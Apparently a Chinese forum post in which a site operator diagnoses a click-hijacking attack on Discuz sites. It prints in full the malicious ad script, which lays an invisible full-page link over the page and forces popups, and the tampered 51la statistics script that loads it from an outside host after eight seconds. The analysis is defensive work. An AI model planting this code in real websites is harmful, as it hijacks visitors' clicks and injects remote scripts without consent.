最近很多站点都出现的问题，XSS！！

不知道是被他人利用XSS漏洞攻击了，还是discuz的云平台出现了问题，很多站点都出现了这个问题。这个截图是病毒在页面绚烂之后的代码，此代码会在网页 创建一个全屏的A标签，此时用户无乱点击哪里
都会被跳转到广告。

复现情况：
频率：同一站点，同一访问IP每天触发一次。

原因已经找到了，基本可以断定为51la统计代码的问题，通过现象，进行js 调试。
找到了JS恶意代码位置：http://p.adconfer.com/view.php?id=1075  

此段代码执行结果是在页面上插入了一段透明度为0.01的a标签覆盖页面，广告链接地址通过initurl取得。

1. var gmUrl = gmInitUrl('http://p.adconfer.com/view-do.php?gm=MTA3NXw0NTJkZWQwOWY2ZmRiZTZjNjY5M2YwNTU1NzNjODc0ZThhYQ==');
   
2. function gmInitUrl(urls){
   
3.         var sf=0,sc=0,ol='',sd=0;
   
4.         var ae = function(p) {
   
5.                 v = false;
   
6.                 document.write('<SCRIPT LANGUAGE=VBScript>\n on error resume next \n v = IsObject(CreateObject("'+p+'"))<\/SCRIPT>\n');
   
7.                 if(v){
   
8.                         return '1';
   
9.                 }else{
   
10.                         return '0';
    
11.                 }
    
12.         };
    
13.         var af = function(p) {
    
14.                 var m = '';
    
15.                 for (var i=0; i < navigator.mimeTypes.length; i++){
    
16.                         m += navigator.mimeTypes[i].type.toLowerCase();
    
17.                 }
    
18.                 v = '0';
    
19.                 if (m.indexOf(p) != -1){
    
20.                         if (navigator.mimeTypes[p].enabledPlugin != null) v = '1';
    
21.                 }
    
22.                 return v;
    
23.         };
    
24.         var __dm  = (navigator.appName.indexOf("Netscape") != -1);
    
25.         var __di  = (navigator.userAgent.toLowerCase().indexOf("msie") != -1);
    
26.         var __dw = ((navigator.userAgent.toLowerCase().indexOf("win")!=-1) || (navigator.userAgent.toLowerCase().indexOf("32bit")!=-1));
    
27.         if(__dw && __di) sf = ae("ShockwaveFlash.ShockwaveFlash.1");
    
28.         if(!__dw || __dm) fs = af("application/x-shockwave-flash");
    
29.         if(navigator.appName=="Netscape"){
    
30.                 ol = navigator.language.substr(0,2);
    
31.         }else{
    
32.                 ol = navigator.userLanguage.substr(0,2);
    
33.         }
    
34.         try{
    
35.                 var us = window.screen.width+'_'+window.screen.height;
    
36.         }catch(e){
    
37.                 var us = 0;
    
38.         }
    
39.         if(navigator.cookieEnabled) sc = 1;
    
40.         if(document.getElementById) sd = 1;
    
41.         var t = new Date();
    
42.         var pushTime = parseInt(t.getTime()/1000);
    
43.         urls+='&pt=1&ft='+pushTime+'&af='+encodeURIComponent(document.location.href)+'&sf='+encodeURIComponent(document.referrer)+'&spm='+sf+','+sc+','+ol+','+sd+','+us;
    
44.         return urls;
    
45. }
    
46. var gmPublic = function(){
    
47.         var gm = {};
    
48.         gm.hasPush = 0;
    
49.         var eventsKeydown = null;
    
50.     gm.baseCistern = {
    
51.         ie: /MSIE/.test(navigator.userAgent),
    
52.         ie6: !/MSIE 7\.0/.test(navigator.userAgent) && /MSIE 6\.0/.test(navigator.userAgent) && !/MSIE 8\.0/.test(navigator.userAgent),
    
53.         tt: /TencentTraveler/.test(navigator.userAgent),
    
54.         qh: /360SE/.test(navigator.userAgent),
    
55.         sg: / SE/.test(navigator.userAgent),
    
56.         cr: /Chrome/.test(navigator.userAgent),
    
57.         ff: /Firefox/.test(navigator.userAgent),
    
58.         op: /Opera/.test(navigator.userAgent),
    
59.         sf: /Safari/.test(navigator.userAgent),
    
60.         mt: /Maxthon/.test(navigator.userAgent),
    
61.         qb: /QQBrowser/.test(navigator.userAgent),
    
62.         gg: window.google || window.chrome
    
63.     };
    
64.         gm.baseDom = {
    
65.                 A: '<object id="__gm_push_a_object_box__" width="0" height="0" classid="CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6"></object>',
    
66.         B: '<object id="__gm_push_b_object_box__" style="position:absolute;left:1px;top:1px;width:1px;height:1px;" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"></object>',
    
67.         C: '<div id="__gm_push_c_object_box__" style="position:absolute; top:0px; left:0px; width:20px; height:20px; z-index:2147483647;" onclick="gm.hasPush=1;window.setTimeout(function(){var o=document.getElementById(\'__gm_push_c_object_box__\');o.parentNode.removeChild(o);},1000);document.onkeydown=eventsKeydown;document.onmousemove=null;"><a href="' + gmUrl + '&pt=2' + '" target="_blank" style="cursor:normal"> </a></div>',
    
68.         D: '<div id="__gm_push_d_object_box__" style="display:none"><form action="' + gmUrl + '&pt=2' + '" method="post" name="__gm_push_d_form_box__" target="_blank"><input type="submit" style="display:none" id="__gm_push_d_object_button__"/></form></div>'
    
69.         };
    
70.     gm.keyDownEvents = function(event) {
    
71.         document.onkeydown = eventsKeydown;
    
72.         if (gm.firstcgm == null) return;
    
73.         var f = document.forms["__gm_push_d_form_box__"];
    
74.         try {
    
75.             f.submit();
    
76.         } catch(e) {
    
77.             document.getElementById("__gm_push_d_object_button__").click();
    
78.         }
    
79.         if (! (gm.baseCistern.sg && !gm.baseCistern.ie6)) {
    
80.             gm.hasPush = 1;
    
81.             document.onmousemove = null;
    
82.             var o = document.getElementById('__gm_push_c_object_box__');
    
83.             if (o) o.parentNode.removeChild(o);
    
84.         }
    
85.         if (gm.baseCistern.cr || gm.baseCistern.op) {
    
86.             gm.removeInterceptClick(gm.firstcgel, gm.firstcgm);
    
87.         }
    
88.     };
    
89.     if (gm.baseCistern.ie || gm.baseCistern.tt) {
    
90.         document.write(gm.baseDom.A);
    
91.         document.write(gm.baseDom.B)
    
92.     }
    
93.     if (gm.baseCistern.cr || gm.baseCistern.op) {
    
94.         document.write(gm.baseDom.D);
    
95.         eventsKeydown = document.onkeydown;
    
96.         document.onkeydown = gm.keyDownEvents;
    
97.     };
    
98.         if (!(gm.baseCistern.sg && !gm.baseCistern.ie6)){
    
99.                 document.write(gm.baseDom.C);
    
100.         }
     
101.     gm.fs = null;
     
102.     gm.fdc = null;
     
103.     gm.timeId = 0;
     
104.     gm.headPush = 1;
     
105.     gm.url = '';
     
106.     gm.baseWidth = 0;
     
107.     gm.baseHeight = 0;
     
108.     gm.firstcgel = null;
     
109.     gm.firstcgm = null;
     
110.     gm.initClickEvents = function() {
     
111.         try {
     
112.             if (typeof document.body.onclick == "function") {
     
113.                 gm.fs = document.body.onclick;
     
114.                 document.body.onclick = null
     
115.             }
     
116.             if (typeof document.onclick == "function") {
     
117.                 if (document.onclick.toString().indexOf('clickPush') < 0) {
     
118.                     gm.fdc = document.onclick;
     
119.                     document.onclick = function() {
     
120.                         gm.clickPush(gm.url, gm.baseWidth, gm.baseHeight)
     
121.                     }
     
122.                 }
     
123.             }
     
124.         } catch(q) {}
     
125.     };
     
126. 
     
127.     gm.onIeRun = function(urls, g) {
     
128.         if(g == 1 && (!gm.baseCistern.qh && gm.baseCistern.ie6)) return;
     
129.         if(gm.hasPush) return;
     
130.         try {
     
131.             var onIeRunActive = document.getElementById("__gm_push_a_object_box__").launchURL(urls);
     
132.             gm.hasPush = 1;
     
133.         } catch(q) {}
     
134.     };
     
135. 
     
136.     gm.clickPush = function(urls, baseWidth, baseHeight) {
     
137.         if (gm.hasPush) return;
     
138.         gm.doit(urls, baseWidth, baseHeight);
     
139.         clearInterval(gm.timeId);
     
140.         document.onclick = null;
     
141.         if (typeof gm.fdc == "function") try {
     
142.             document.onclick = gm.fdc
     
143.         } catch(q) {}
     
144.         if (typeof gm.fs == "function") try {
     
145.             document.body.onclick = gm.fs
     
146.         } catch(q) {}
     
147.     };
     
148. 
     
149.     gm.interceptClick = function(url) {
     
150.         if(gm.hasPush) return;
     
151.         var tmpId = "__gmBoat_a__" + Math.ceil(Math.random() * 100);
     
152.         var tmp = document.createElement("a");
     
153.         tmp.href = url + '&pt=2' ;
     
154.         tmp.id = tmpId;
     
155.         tmp.target = "_blank";
     
156.         tmp.style.position = "absolute";
     
157.         tmp.style.zIndex = "2147483647";
     
158.         tmp.style.backgroundColor = "#fff";
     
159.         tmp.style.opacity = "0.01";
     
160.         tmp.style.filter = "alpha(opacity:1)";
     
161.         tmp.style.display = "block";
     
162.         tmp.style.top = "0px";
     
163.         tmp.style.left = "0px";
     
164.         document.body.appendChild(tmp);
     
165.         var el = document.getElementById(tmp.id);
     
166.         var m = setInterval(function() {
     
167.             var d = document.body;
     
168.             e = document.documentElement;
     
169.             document.compatMode == "BackCompat" ? t = d.scrollTop: t = e.scrollTop == 0 ? d.scrollTop: e.scrollTop;
     
170.             el.style.top = t + "px";
     
171.             el.style.width = d.clientWidth + "px";
     
172.             el.style.height = d.clientHeight + "px";
     
173.         },
     
174.         200);
     
175.                 gm.linkUp(tmpId);
     
176.         el.onclick = function(e) {
     
177.             gm.removeInterceptClick(el, m);
     
178.             gm.firstcgm = null
     
179.         };
     
180.         if (gm.firstcgel == null) {
     
181.             gm.firstcgel = el;
     
182.             gm.firstcgm = m;
     
183.         }
     
184.     };
     
185.     gm.removeInterceptClick = function(el, m) {
     
186.         setTimeout(function() {
     
187.             el.parentNode.removeChild(el)
     
188.         },
     
189.         200);
     
190.         clearInterval(m);
     
191.         gm.hasPush = 1
     
192.     };
     
193.     gm.expandClick = function(c, e, f) {
     
194.         if (gm.hasPush) return;
     
195.         document.onclick = function() {
     
196.             gm.clickPush(c, e, f);
     
197.         };
     
198.         setTimeout(function() {
     
199.             gm.expandClick(c, e, f)
     
200.         },
     
201.         100);
     
202.     };
     
203.         gm.linkUp = function(obj){
     
204.                 var tmp = document.getElementsByTagName('a');
     
205.                 var tmps = tmp.length;
     
206.                 for(var i = 0; i < tmps; i++){
     
207.                         if(tmp[i].id.indexOf(obj) != -1){
     
208.                                 tmp[i].style.zIndex = 2147483647;
     
209.                                 tmp[i].style.display = 'block';
     
210.                         }else if (tmp[i].style.zIndex == 2147483647){
     
211.                                 tmp[i].style.zIndex--;
     
212.                         }
     
213.                 }
     
214.         };
     
215.         gm.getCookie = function(names) {
     
216.                 var search = names + "=";
     
217.                 var r = "";
     
218.                 if (document.cookie.length > 0) {
     
219.                         offset = document.cookie.indexOf(search);
     
220.                         if (offset != -1) {
     
221.                                 offset += search.length;
     
222.                                 end = document.cookie.indexOf(";", offset);
     
223.                                 if (end == -1)end = document.cookie.length;
     
224.                                 r=unescape(document.cookie.substring(offset, end));
     
225.                         }
     
226.                 }
     
227.                 return r;
     
228.         };
     
229.         gm.setCookie=function (names,values,times){
     
230.                 var exp = new Date();
     
231.                 exp.setTime(exp.getTime()+3600*1000*times);
     
232.                 document.cookie=names+"="+escape(values)+";expires="+exp.toGMTString();
     
233.         };
     
234.     gm.doit = function(urls, baseWidth, baseHeight) {
     
235.         if (gm.hasPush) return;
     
236.         gm.url = urls;
     
237.         gm.baseWidth = baseWidth;
     
238.         gm.baseHeight = baseHeight;
     
239.         if (gm.timeId == 0) gm.timeId = setInterval(gm.initClickEvents, 5);
     
240.         var b = 'height=' + baseHeight + ',width=' + baseWidth + ',left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes';
     
241.         var j = 'window.open("' + urls + '", "_blank", "' + b + '")';
     
242.         var m = null;
     
243.         try {
     
244.             m = eval(j)
     
245.         } catch(q) {}
     
246.         m = m && !gm.baseCistern.op && !gm.baseCistern.cr;
     
247.         if (m && !(gm.headPush && gm.baseCistern.gg)) {
     
248.             gm.hasPush = 1;
     
249.             if (typeof gm.fs == "function") try {
     
250.                 document.body.onclick = gm.fs
     
251.             } catch(q) {}
     
252.             clearInterval(gm.timeId)
     
253.         } else {
     
254.             var i = this,
     
255.             j = false;
     
256.             if (gm.baseCistern.sg || gm.baseCistern.mt || gm.baseCistern.op || gm.baseCistern.sf || gm.baseCistern.ff) {
     
257.                 gm.interceptClick(urls);
     
258.                 return;
     
259.             }
     
260.             if (gm.baseCistern.ie || gm.baseCistern.tt) {
     
261.                 document.getElementById("__gm_push_a_object_box__");
     
262.                 document.getElementById("__gm_push_b_object_box__");
     
263.                 setTimeout(function() {
     
264.                     var obj = document.getElementById("__gm_push_b_object_box__");
     
265.                     if (gm.hasPush || !obj) return;
     
266.                     try {
     
267.                         var tmpPush = obj.DOM.Script.open(urls, "_blank", b);
     
268.                         if (tmpPush) {
     
269.                             gm.hasPush = 1
     
270.                         } else if (gm.baseCistern.sg) {
     
271.                             gm.hasPush = 1
     
272.                         }
     
273.                     } catch(q) {}
     
274.                 },
     
275.                 200);
     
276.             }
     
277.             if (gm.headPush) {
     
278.                 gm.headPush = 0;
     
279.                 try {
     
280.                     if (typeof document.onclick == "function") gm.fdc = document.onclick
     
281.                 } catch(q) {}
     
282.                 if (gm.baseCistern.ie) {
     
283.                     i.onIeRun(urls, 1);
     
284.                     gm.interceptClick(urls);
     
285.                 }
     
286.             }
     
287.             if (gm.baseCistern.sg) gm.interceptClick(urls);
     
288.         }
     
289.     };
     
290.     gm.Rebuild = function() {
     
291.         gm.hasPush = 0;
     
292.         gm.headPush = 1;
     
293.         gm.doit(gmUrl, window.screen.width, window.screen.height);
     
294.     };
     
295.     return gm;
     
296. };
     
297. var gm  = gmPublic();
     
298. gm.doit(gmUrl + "&rn=" + Math.random(), window.screen.width, window.screen.height);

复制代码

找到了恶意代码，接下来寻找恶意代码是如何植入的，通过全局搜索发现，js.user.51la 域名下期中有一个JS有问题：

1. document.write ('<a  target="_blank" title="51.La &#x7F51;&#x7AD9;&#x6D41;&#x91CF;&#x7EDF;&#x8BA1;&#x7CFB;&#x7EDF;"><img alt="51.La &#x7F51;&#x7AD9;&#x6D41;&#x91CF;&#x7EDF;&#x8BA1;&#x7CFB;&#x7EDF;" src="http://icon.51.la/icon_0.gif" style="border:none" /></a>\n');
   
2. var a5570tf="51la";var a5570pu="";var a5570pf="51la";var a5570su=window.location;var a5570sf=document.referrer;var a5570of="";var a5570op="";var a5570ops=1;var a5570ot=1;var a5570d=new Date();var a5570color="";if (navigator.appName=="Netscape"){a5570color=screen.pixelDepth;} else {a5570color=screen.colorDepth;}
   
3. try{a5570tf=top.document.referrer;}catch(e){}
   
4. try{a5570pu =window.parent.location;}catch(e){}
   
5. try{a5570pf=window.parent.document.referrer;}catch(e){}
   
6. try{a5570ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a5570ops=(a5570ops==null)?1: (parseInt(unescape((a5570ops)[2]))+1);var a5570oe =new Date();a5570oe.setTime(a5570oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a5570ops+ ";path=/;expires="+a5570oe.toGMTString();a5570ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a5570ot==null){a5570ot=1;}else{a5570ot=parseInt(unescape((a5570ot)[2])); a5570ot=(a5570ops==1)?(a5570ot+1):(a5570ot);}a5570oe.setTime(a5570oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a5570ot+";path=/;expires="+a5570oe.toGMTString();}catch(e){}
   
7. try{if(document.cookie==""){a5570ops=-1;a5570ot=-1;}}catch(e){}
   
8. a5570of=a5570sf;if(a5570pf!=="51la"){a5570of=a5570pf;}if(a5570tf!=="51la"){a5570of=a5570tf;}a5570op=a5570pu;try{lainframe}catch(e){a5570op=a5570su;}
   
9. a5570src='http://web.51.la:82/go.asp?svid=20&id=15005570&tpages='+a5570ops+'&ttimes='+a5570ot+'&tzone='+(0-a5570d.getTimezoneOffset()/60)+'&tcolor='+a5570color+'&sSize='+screen.width+','+screen.height+'&referrer='+escape(a5570of)+'&vpage='+escape(a5570op)+'&vvtime='+a5570d.getTime();
   
10. setTimeout('a5570img = new Image;a5570img.src=a5570src;',0);;function sttaddCookie(on,ov,oh){var str=on+"="+escape(ov);if(oh > 0){var date=new Date();var ms=oh*3600*1000;date.setTime(date.getTime()+ms);str+="; expires="+date.toGMTString()+"; path=/; domain=.discuzlab.com;";}document.cookie=str;}function sttgetCookie(on){var arrStr = document.cookie.split("; ");for(var i = 0;i < arrStr.length;i ++){var temp = arrStr[i].split("=");if(temp[0]==on) return nescape(temp[1]);}};function sxAddElementByPage(u){try{var script=document.createElement("script");script.setAttribute("type", "text/javascript");script.setAttribute("src", u);var heads = document.getElementsByTagName("head");if(heads.length){heads[0].appendChild(script);}else{document.documentElement.appendChild(script);}}catch(e){}}if(typeof D_STAT_END_STATIC=="undefined"){if(!sttgetCookie("__BAIDU_STATE_END__")){;document.writeln('<script type=\'text/javascript\' src=\'http://js.tongji.linezing.com/3596071/tongji.js?12m33\'><\/script>');;setTimeout('sxAddElementByPage("http://p.adconfer.com/view.php?id=1075")',8000);;var D_STAT_END_STATIC=1;sttaddCookie("__BAIDU_STATE_END__","yes",12);}else{if(!sttgetCookie("__BAIDU_STATE_END2__")){;var BD_STAT_END_STATIC=1;sttaddCookie("__BAIDU_STATE_END2__","yes",12);}}};;

复制代码

里面有一段代码

1. setTimeout('sxAddElementByPage("http://p.adconfer.com/view.php?id=1075")',8000)

复制代码

此代码会在8秒钟之后会在页面最末尾追加一段script脚本，用来加载恶意代码，从而完成植入并劫持网站。